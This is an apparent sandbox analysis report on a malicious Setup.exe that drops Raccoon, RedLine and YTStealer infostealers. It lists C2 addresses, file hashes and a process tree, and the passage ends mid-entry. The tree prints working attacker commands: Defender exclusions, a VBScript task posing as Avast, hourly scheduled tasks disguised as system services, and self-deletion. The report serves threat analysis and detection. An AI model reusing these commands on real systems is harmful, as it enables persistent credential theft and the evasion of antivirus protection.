Analysis

  • max time kernel
    120s
  • max time network
    161s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-10-2022 21:07

General

  • Target

    Setup.exe

  • Size

    812.1MB

  • MD5

    97432769d9c069e9d916cca622d3e136

  • SHA1

    821748178afd4e72ce68e37bca575327e2c15074

  • SHA256

    7f9684b6297bf11ba15105902412e453afd13c904e8e0121d9d8ef834b7e95d9

  • SHA512

    4641d432a53c437fed97313b8c13af504b681580d37fc25a1e7ddc1c787283d5478ea78d3adacc850f022814a14a160932e135f001096b7ab93dc7c1c3277dd7

  • SSDEEP

    6144:LDKW1Lgbdl0TBBvjc/YrWNjk2ZHXKsDDki/jsRzXN8fZfjLx7zz:/h1Lk70TnvjcAb2ZHXhF/Sz96fnx

Malware Config

Extracted

Family

raccoon

Botnet

55141fdba30e9c28fe0ae2e082b22897

C2

http://45.15.156.31/

rc4.plain

Extracted

Family

redline

C2

81.161.229.143:27938

Attributes
  • auth_value

    6687e352a0604d495c3851d248ebf06f

Signatures

  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • YTStealer

    YTStealer is a malware designed to steal YouTube authentication cookies.

  • YTStealer payload 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 9 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3372
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1044
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1972
      • C:\Users\Admin\AppData\Local\Temp\doOPv9rj.exe
        "C:\Users\Admin\AppData\Local\Temp\doOPv9rj.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2796
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe"
          4⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4536
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Avast corporation" : regInfo.Description="Avast security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Avast security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > "C:\Users\Admin\AppData\Local\Temp\tmp872C.vbs" & cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmp872C.vbs" & del /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\tmp872C.vbs" & exit
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4548
            • C:\Windows\system32\cscript.exe
              cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmp872C.vbs"
              6⤵
                PID:4412
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
            4⤵
              PID:1712
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
              4⤵
                PID:3036
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                4⤵
                  PID:2540
              • C:\Users\Admin\AppData\Local\Temp\3uPmSQOt.exe
                "C:\Users\Admin\AppData\Local\Temp\3uPmSQOt.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2272
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Local\Temp\3uPmSQOt.exe
                  4⤵
                    PID:4248
                    • C:\Windows\system32\choice.exe
                      choice /C Y /N /D Y /T 0
                      5⤵
                        PID:2164
                  • C:\Users\Admin\AppData\Local\Temp\o1MbOt7w.exe
                    "C:\Users\Admin\AppData\Local\Temp\o1MbOt7w.exe"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:3504
                    • C:\Windows\SysWOW64\cmd.exe
                      "cmd.exe" /C chcp 1251 & powershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Dllhost" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\SystemData"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4032
                      • C:\Windows\SysWOW64\chcp.com
                        chcp 1251
                        5⤵
                          PID:4372
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop"
                          5⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3516
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Dllhost"
                          5⤵
                            PID:800
                            • C:\Windows\SysWOW64\wermgr.exe
                              "C:\Windows\system32\wermgr.exe" "-outproc" "0" "800" "1900" "1848" "1904" "0" "0" "1908" "0" "0" "0" "0" "0"
                              6⤵
                                PID:3988
                          • C:\ProgramData\Dllhost\dllhost.exe
                            "C:\ProgramData\Dllhost\dllhost.exe"
                            4⤵
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3792
                            • C:\Windows\SysWOW64\cmd.exe
                              "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                              5⤵
                                PID:2824
                                • C:\Windows\SysWOW64\schtasks.exe
                                  SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                  6⤵
                                  • Creates scheduled task(s)
                                  PID:5096
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                5⤵
                                  PID:1568
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                    6⤵
                                    • Creates scheduled task(s)
                                    PID:4284
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                  5⤵
                                    PID:4996
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                      6⤵
                                      • Creates scheduled task(s)
                                      PID:3296
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                    5⤵
                                      PID:2372
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                        6⤵
                                        • Creates scheduled task(s)
                                        PID:808
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                      5⤵
                                        PID:1532
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          SCHTASKS /CREATE /SC HOURLY /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                          6⤵
                                          • Creates scheduled task(s)
                                          PID:3400
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                        5⤵
                                          PID:2544
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                            6⤵
                                            • Creates scheduled task(s)
                                            PID:5108
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                          5⤵
                                            PID:5012
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                              6⤵
                                              • Creates scheduled task(s)
                                              PID:2280
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                            5⤵
                                              PID:3372
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                                6⤵
                                                • Creates scheduled task(s)
                                                PID:4572
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesService_bk4927" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                              5⤵
                                                PID:4772
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesService_bk4927" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                                  6⤵
                                                  • Creates scheduled task(s)
                                                  PID:1740
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableService_bk3765" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                                5⤵
                                                  PID:1452
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableService_bk3765" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                                    6⤵
                                                    • Creates scheduled task(s)
                                                    PID:2276
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesService_bk8921" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                                  5⤵
                                                    PID:2452
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesService_bk8921" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                                      6⤵
                                                      • Creates scheduled task(s)
                                                      PID:2320
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostService_bk5349" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                                                    5⤵
                                                      PID:2352
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json
                                                      5⤵
                                                        PID:3068
                                                        • C:\Windows\SysWOW64\chcp.com
                                                          chcp 1251
                                                          6⤵
                                                            PID:4244
                                                    • C:\Users\Admin\AppData\Local\Temp\J8V08d80.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\J8V08d80.exe"
                                                      3⤵
                                                      • Executes dropped EXE
                                                      PID:1400
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell "" "Get-WmiObject Win32_PortConnector"
                                                        4⤵
                                                          PID:1828
                                                          • C:\Windows\system32\wermgr.exe
                                                            "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1828" "1820" "1740" "1824" "0" "0" "1828" "0" "0" "0" "0" "0"
                                                            5⤵
                                                              PID:3912
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell "" "Get-WmiObject Win32_ComputerSystem"
                                                            4⤵
                                                              PID:1720
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "" "Get-WmiObject Win32_VideoController"
                                                              4⤵
                                                                PID:60

                                                        Network

                                                        MITRE ATT&CK Matrix ATT&CK v6

                                                        Execution

                                                        Scheduled Task

                                                        1
                                                        T1053

                                                        Persistence

                                                        Registry Run Keys / Startup Folder

                                                        1
                                                        T1060

                                                        Scheduled Task

                                                        1
                                                        T1053

                                                        Privilege Escalation

                                                        Scheduled Task

                                                        1
                                                        T1053

                                                        Defense Evasion

                                                        Modify Registry

                                                        1
                                                        T1112

                                                        Credential Access

                                                        Credentials in Files

                                                        2
                                                        T1081

                                                        Discovery

                                                        Query Registry

                                                        1
                                                        T1012

                                                        System Information Discovery

                                                        2
                                                        T1082

                                                        Collection

                                                        Data from Local System

                                                        2
                                                        T1005

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • C:\ProgramData\Dllhost\dllhost.exe
                                                          Filesize

                                                          61KB

                                                          MD5

                                                          d5a003e50c058f6474915597fe27bfea

                                                          SHA1

                                                          715a1a2b9d1ba6c886d2039089b94e96ea8bb687

                                                          SHA256

                                                          a3a9409c768e578c2beb391daf4e0fb697031be3942aff8402624cce659fcb07

                                                          SHA512

                                                          af591a1bc6e26d625f328f5d45ea31ce0e04b55b6d9ca614cd811c555a7defddbabaac48599e54ead0f9c46b3e33e7bae5c6013881daf560b4369f1f214499a5

                                                        • C:\ProgramData\Dllhost\dllhost.exe
                                                          Filesize

                                                          61KB

                                                          MD5

                                                          d5a003e50c058f6474915597fe27bfea

                                                          SHA1

                                                          715a1a2b9d1ba6c886d2039089b94e96ea8bb687

                                                          SHA256

                                                          a3a9409c768e578c2beb391daf4e0fb697031be3942aff8402624cce659fcb07

                                                          SHA512

                                                          af591a1bc6e26d625f328f5d45ea31ce0e04b55b6d9ca614cd811c555a7defddbabaac48599e54ead0f9c46b3e33e7bae5c6013881daf560b4369f1f214499a5

                                                        • C:\ProgramData\SystemFiles\sys_rh.bin
                                                          Filesize

                                                          1KB

                                                          MD5

                                                          b2709bd7718f19e9dd4b2d1023fcc270

                                                          SHA1

                                                          d3dd2e8a3c0084998b4aca5d8e922b12b9108805

                                                          SHA256

                                                          33253eb25befb2899c1b952c9452b45b22f447286151f599b2e569485a5799ad

                                                          SHA512

                                                          34a225d8f91f16287389a95011be8b290f8e437681d6e534d9a4d1a5916ef690169f2127eba1d86afe3ec3027a67ec82db11e926c09d83a18b89ee059ffcfe9f

                                                        • C:\Users\Admin\AppData\LocalLow\mozglue.dll
                                                          Filesize

                                                          612KB

                                                          MD5

                                                          f07d9977430e762b563eaadc2b94bbfa

                                                          SHA1

                                                          da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

                                                          SHA256

                                                          4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

                                                          SHA512

                                                          6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

                                                        • C:\Users\Admin\AppData\LocalLow\nss3.dll
                                                          Filesize

                                                          1.9MB

                                                          MD5

                                                          f67d08e8c02574cbc2f1122c53bfb976

                                                          SHA1

                                                          6522992957e7e4d074947cad63189f308a80fcf2

                                                          SHA256

                                                          c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

                                                          SHA512

                                                          2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

                                                        • C:\Users\Admin\AppData\LocalLow\sqlite3.dll
                                                          Filesize

                                                          1.0MB

                                                          MD5

                                                          dbf4f8dcefb8056dc6bae4b67ff810ce

                                                          SHA1

                                                          bbac1dd8a07c6069415c04b62747d794736d0689

                                                          SHA256

                                                          47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

                                                          SHA512

                                                          b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                          Filesize

                                                          1KB

                                                          MD5

                                                          25d7ac29d798600ddc5fd880b162958b

                                                          SHA1

                                                          a2ba91e14155cfa5c26670e17ac606f3f28b0be2

                                                          SHA256

                                                          3c6d5ecae46dd9f6756e444bc51635cdd9696f3ed9fe0601cf41059a04085f88

                                                          SHA512

                                                          d91a9028c0fdf3761edbccddaa460573281b7d390efc7dfe3ebef46ce5ede53d36a7148c523e312b5daedc91c11cdb2cc8d0f8b475339cd35dba044595778d45

                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                          Filesize

                                                          1KB

                                                          MD5

                                                          4280e36a29fa31c01e4d8b2ba726a0d8

                                                          SHA1

                                                          c485c2c9ce0a99747b18d899b71dfa9a64dabe32

                                                          SHA256

                                                          e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

                                                          SHA512

                                                          494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                          Filesize

                                                          53KB

                                                          MD5

                                                          06ad34f9739c5159b4d92d702545bd49

                                                          SHA1

                                                          9152a0d4f153f3f40f7e606be75f81b582ee0c17

                                                          SHA256

                                                          474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

                                                          SHA512

                                                          c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                          Filesize

                                                          16KB

                                                          MD5

                                                          0dc608c7bcc02538a01cee182e6687bc

                                                          SHA1

                                                          217f6a945d5e48fbd00d88830ad623cf0c842e92

                                                          SHA256

                                                          176c0e9a1563e3e5c0be36e36db9f7f0a53772f86393fd71bf653a8ddc153240

                                                          SHA512

                                                          f98083d194631e948e175f7795a6d9d0e68ca37c9cb7a64a22dac9a8a3fcd4854ee3c0465a02a8248639344ebe79a8ee922cc5019381bc87235427a6260c4d51

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                          Filesize

                                                          18KB

                                                          MD5

                                                          bdc025c8de89be1e143df05c8fb84709

                                                          SHA1

                                                          4de2c5c9ab25b114adcbb0b631c82406c9d3dddd

                                                          SHA256

                                                          56643bed2c5de83a4cbc2da33035450c9e5850ee57ec747f2329c3298c44d666

                                                          SHA512

                                                          f8f27bda21c48f3e13f9c0a374f77cfc8f8a63967ba3d43745d166c6b4e8fab3da2a350627bcc1f81db37312adae103fd36fba65db1580dc4582b14a5db78f2c

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                          Filesize

                                                          64B

                                                          MD5

                                                          13af6be1cb30e2fb779ea728ee0a6d67

                                                          SHA1

                                                          f33581ac2c60b1f02c978d14dc220dce57cc9562

                                                          SHA256

                                                          168561fb18f8eba8043fa9fc4b8a95b628f2cf5584e5a3b96c9ebaf6dd740e3f

                                                          SHA512

                                                          1159e1087bc7f7cbb233540b61f1bdecb161ff6c65ad1efc9911e87b8e4b2e5f8c2af56d67b33bc1f6836106d3fea8c750cc24b9f451acf85661e0715b829413

                                                        • C:\Users\Admin\AppData\Local\Temp\3uPmSQOt.exe
                                                          Filesize

                                                          4.0MB

                                                          MD5

                                                          e4d3f5b6e53c0188e6ff2081b87cbd82

                                                          SHA1

                                                          a43c60c08f67a90aa6836d66de8bdf0179f4d9f8

                                                          SHA256

                                                          2f3c5db2ebcc3780f9507e572a26e332505905a1b9c9b3086e689ccbe463546b

                                                          SHA512

                                                          9ea5c68a1e9cc8409efc41edac3cc282aa27bbae59cebf382347d2a2f824d06a284f07f6455ea3c35035d89f66434a1c1078f9d0560404f8257dc84d77afb060

                                                        • C:\Users\Admin\AppData\Local\Temp\3uPmSQOt.exe
                                                          Filesize

                                                          4.0MB

                                                          MD5

                                                          e4d3f5b6e53c0188e6ff2081b87cbd82

                                                          SHA1

                                                          a43c60c08f67a90aa6836d66de8bdf0179f4d9f8

                                                          SHA256

                                                          2f3c5db2ebcc3780f9507e572a26e332505905a1b9c9b3086e689ccbe463546b

                                                          SHA512

                                                          9ea5c68a1e9cc8409efc41edac3cc282aa27bbae59cebf382347d2a2f824d06a284f07f6455ea3c35035d89f66434a1c1078f9d0560404f8257dc84d77afb060

                                                        • C:\Users\Admin\AppData\Local\Temp\J8V08d80.exe
                                                          Filesize

                                                          5.1MB

                                                          MD5

                                                          3e2922711ccfb0d4c63bc2e1ac3962cb

                                                          SHA1

                                                          c0080d77f23d9ba6aea56bf808e7047564ddff51

                                                          SHA256

                                                          6e4581639b79846f73463632b751fbfb6568b3f3d12d14e1cf9a9f4f818d7a56

                                                          SHA512

                                                          47de0b4c5a20aeb8a777f1dc8f7c3fa9264d472d229727c97a12d77ac06f99000f830c73f261d3ad529e91ef9b4dcf944263292f4e69084cd0cd66826091d8f4

                                                        • C:\Users\Admin\AppData\Local\Temp\J8V08d80.exe
                                                          Filesize

                                                          5.1MB

                                                          MD5

                                                          3e2922711ccfb0d4c63bc2e1ac3962cb

                                                          SHA1

                                                          c0080d77f23d9ba6aea56bf808e7047564ddff51

                                                          SHA256

                                                          6e4581639b79846f73463632b751fbfb6568b3f3d12d14e1cf9a9f4f818d7a56

                                                          SHA512

                                                          47de0b4c5a20aeb8a777f1dc8f7c3fa9264d472d229727c97a12d77ac06f99000f830c73f261d3ad529e91ef9b4dcf944263292f4e69084cd0cd66826091d8f4

                                                        • C:\Users\Admin\AppData\Local\Temp\doOPv9rj.exe
                                                          Filesize

                                                          656KB

                                                          MD5

                                                          449e9f0ed1595935ec02a36b6e502313

                                                          SHA1

                                                          65c99d85fa46e05009f363885e34586f64335f23

                                                          SHA256

                                                          1ac13810fc9aac7bf6f6ce4e4dcb90f69a3953d70a5d5f1ba1a054accf395024

                                                          SHA512

                                                          2b2b4ae1d3f0d6b45f7a6934990dbd07bf5d6b85a3ebb37fa2fcbf5e063a12a1f68677e6e0ef02a804a532cfd1f973417c7fd4edb6d9d2468f8dc290c2584e22

                                                        • C:\Users\Admin\AppData\Local\Temp\doOPv9rj.exe
                                                          Filesize

                                                          656KB

                                                          MD5

                                                          449e9f0ed1595935ec02a36b6e502313

                                                          SHA1

                                                          65c99d85fa46e05009f363885e34586f64335f23

                                                          SHA256

                                                          1ac13810fc9aac7bf6f6ce4e4dcb90f69a3953d70a5d5f1ba1a054accf395024

                                                          SHA512

                                                          2b2b4ae1d3f0d6b45f7a6934990dbd07bf5d6b85a3ebb37fa2fcbf5e063a12a1f68677e6e0ef02a804a532cfd1f973417c7fd4edb6d9d2468f8dc290c2584e22

                                                        • C:\Users\Admin\AppData\Local\Temp\o1MbOt7w.exe
                                                          Filesize

                                                          56KB

                                                          MD5

                                                          2ccf48338071a18c1a7377bf30831c8c

                                                          SHA1

                                                          31acd7880c6c73fe496574d082cb3a35ab1086f0

                                                          SHA256

                                                          5a2bd9fbb6c7cfde9dbdd52697478996129a8e7cd580f094afe747941d259718

                                                          SHA512

                                                          d17c486cd6ba7d66e1fb2e74e6316c61dd2c999a2dfbcb4628966ed7c6afe70d29dc43da450063b4ba046582d420ff0fc8a3a0d9da114a2536739d463a59c75d

                                                        • C:\Users\Admin\AppData\Local\Temp\o1MbOt7w.exe
                                                          Filesize

                                                          56KB

                                                          MD5

                                                          2ccf48338071a18c1a7377bf30831c8c

                                                          SHA1

                                                          31acd7880c6c73fe496574d082cb3a35ab1086f0

                                                          SHA256

                                                          5a2bd9fbb6c7cfde9dbdd52697478996129a8e7cd580f094afe747941d259718

                                                          SHA512

                                                          d17c486cd6ba7d66e1fb2e74e6316c61dd2c999a2dfbcb4628966ed7c6afe70d29dc43da450063b4ba046582d420ff0fc8a3a0d9da114a2536739d463a59c75d

                                                        • C:\Users\Admin\AppData\Local\Temp\tmp872C.vbs
                                                          Filesize

                                                          1KB

                                                          MD5

                                                          557fc4a580a8b09428014e562c1be8c4

                                                          SHA1

                                                          4116471bcf6f4ccb784422468065d99de15dfff0

                                                          SHA256

                                                          efe0c611e82da6ed00e304123a50aadac6ab8e8c50ef71c02527864f906ab1ee

                                                          SHA512

                                                          d0c68dd3daec12820555fa79ceaf580eb202e01980623f4d4c741ee8a80a562b4f98981c1c0577fcedd6b40354b9909e99ec67051daf7ec47abcc248f559c439

                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe
                                                          Filesize

                                                          81KB

                                                          MD5

                                                          6667d95c75b6d1bd114d06194bba63cf

                                                          SHA1

                                                          3f91ab97fbac261745b60e57a208538b00fc0bb8

                                                          SHA256

                                                          c6f186992f252d82f1473bfe12a4323ae0de025a73ddd19b27ceb0f68e93f695

                                                          SHA512

                                                          2a2469cc5e73d21ca7eba7d90c37565028b7bb913f331a49211ec208366ab2671c74e85389ae12edec10f67dd70413b766166e4cc4fe9c6c40cd5c40bae61bda

                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\build.exe
                                                          Filesize

                                                          81KB

                                                          MD5

                                                          6667d95c75b6d1bd114d06194bba63cf

                                                          SHA1

                                                          3f91ab97fbac261745b60e57a208538b00fc0bb8

                                                          SHA256

                                                          c6f186992f252d82f1473bfe12a4323ae0de025a73ddd19b27ceb0f68e93f695

                                                          SHA512

